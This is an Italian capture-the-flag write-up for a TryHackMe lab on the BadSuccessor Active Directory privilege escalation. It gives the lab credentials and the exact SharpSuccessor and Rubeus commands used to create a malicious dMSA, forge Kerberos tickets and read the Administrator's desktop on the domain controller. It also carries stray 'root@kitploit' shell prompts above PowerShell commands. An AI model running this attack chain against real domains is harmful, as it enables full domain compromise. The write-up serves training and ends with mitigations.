Active-Directory-BadSuccessor

Panoramica

In questa stanza, esploriamo la tecnica di escalation dei privilegi BadSuccessor, una vulnerabilità che abusa degli Account di Servizio Gestiti Delegati (dMSA) in Active Directory. L'attacco consente a un utente con sufficiente controllo su un oggetto dMSA di impersonare un altro account e potenzialmente raggiungere i privilegi di Amministratore di Dominio.

Informazioni sulla Stanza

Stanza: https://tryhackme.com/room/adbadsuccessor

Difficoltà: Media

Data: 05/06/2026

Versione: 1.0

Obiettivo: Dimostrare come gli Account di Servizio Gestiti Delegati possano essere abusati per aumentare i privilegi e compromettere un ambiente Active Directory.

Ruolo: Terry Byte (tbyte)

Scopo: Valutare la sicurezza di un ambiente Active Directory appena implementato e determinare se è vulnerabile all'attacco BadSuccessor.

Percorso dell'Attacco

L'attacco consiste in due fasi principali:

1. Ricognizione.
2. Escalation dei Privilegi tramite Abuso di dMSA

Ricognizione

Step 1 - Connettersi alla Macchina Target

• Connettersi alla workstation Windows fornita utilizzando RDP:

xfreerdp /v:10.211.101.20 /u:tbyte /p:P\@SSw0rd345 /dynamic-resolution

• Dopo l'autenticazione, aprire PowerShell.

Step 2 - Navigare alla Directory di Lavoro

• Spostarsi nella directory Proof-of-Concept:

  root@kitploit:~

  cd C:\PoC
  

• Verificare il contenuto: dir

Step 3 - Ottenere lo Script di Enumerazione

• Scaricare lo script PowerShell dal repository BadSuccessor di Akamai:

https://github.com/akamai/BadSuccessor/blob/main/Get-BadSuccessorOUPermissions.ps1

• Creare o modificare lo script usando Notepad:

notepad Get-BadSuccessorOUPermissions.ps1

• Incollare il contenuto e salvare il file.

Step 4 - Enumerare le Autorizzazioni dell'Unità Organizzativa

• Eseguire lo script:

 .\Get-BadSuccessorOUPermissions.ps1

• L'output rivela account con autorizzazioni che potrebbero potenzialmente abusare degli Account di Servizio Gestiti Delegati.
• Identificare il terzo account restituito dallo script.
• Questo account sarà utilizzato durante la fase di escalation dei privilegi.

Sfruttamento Usando Windows

Step 1 - Creare un dMSA Malevolo

• Usare SharpSuccessor per creare un Account di Servizio Gestito Delegato che impersona l'account Administrator:

  root@kitploit:~

  .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator
  

  

Cosa Succede?

• Lo strumento crea un nuovo oggetto dMSA e lo configura per succedere all'account Administrator.
• Questo stabilisce le basi per l'escalation dei privilegi.

Step 2 - Richiedere un TGT Kerberos

• Usare Rubeus per ottenere un Ticket Granting Ticket (TGT) delegato:

  root@kitploit:~

  .\Rubeus.exe tgtdeleg /nowrap
  

  

• Il comando restituisce un ticket Kerberos codificato in Base64.

• Copiare il ticket generato.

Step 3 - Impersonare l'Account dMSA

• Usare il TGT delegato per richiedere un ticket come account dMSA appena creato:

 .\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>

Risultato:

Un nuovo ticket Kerberos viene iniettato nella memoria per l'account dMSA.

Step 4 - Richiedere un Ticket di Servizio come Administrator

• Sfruttare il ticket dMSA per ottenere l'accesso ai servizi in esecuzione nel contesto di Administrator:

  root@kitploit:~

  .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>
  

  

Risultato:

• Un ticket di servizio CIFS viene caricato in memoria.
• Questo ticket fornisce accesso a risorse che normalmente richiederebbero privilegi di Amministratore di Dominio.

Step 5 - Accedere al Desktop di Administrator

• Verificare l'accesso elevato navigando nel profilo Administrator sul Controller di Dominio:

 dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\

• Un elenco di directory riuscito conferma l'accesso a livello amministrativo.

Step 6 - Catturare la Flag

• Leggere la flag memorizzata sul desktop di Administrator:

  root@kitploit:~

  Get-Content \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\flag.txt
  

  

• Flag ottenuta con successo.

Perché BadSuccessor è Importante

BadSuccessor dimostra come gli Account di Servizio Gestiti Delegati possano introdurre percorsi di escalation dei privilegi negli ambienti Active Directory. Active Directory funge da spina dorsale dell'identità per molte organizzazioni; le vulnerabilità che colpiscono Kerberos e la delega degli account possono avere gravi conseguenze.

Un utente malintenzionato con permessi sufficienti su un oggetto dMSA può:

• Impersonare utenti privilegiati
• Ottenere ticket Kerberos elevati
• Accedere a risorse sensibili
• Aumentare i privilegi ad Amministratore di Dominio
• Potenzialmente compromettere l'intera foresta Active Directory

Raccomandazioni per la Mitigazione

Per mitigare BadSuccessor (CVE-2025-53779), le organizzazioni dovrebbero applicare tempestivamente gli aggiornamenti di sicurezza di Microsoft, limitare e revisionare le autorizzazioni dMSA, monitorare l'attività Kerberos sospetta, controllare le relazioni di delega e applicare il principio del minimo privilegio. Revisioni regolari delle impostazioni di delega di Active Directory possono aiutare a identificare e ridurre i potenziali percorsi di escalation dei privilegi.

Punti Chiave

Questa stanza ha fornito una preziosa esperienza pratica con:

• Escalation dei privilegi in Active Directory
• Account di Servizio Gestiti Delegati (dMSA)
• Abuso dell'autenticazione Kerberos
• Operazioni sui ticket Rubeus
• Sfruttamento di SharpSuccessor
• Tecniche di validazione post-sfruttamento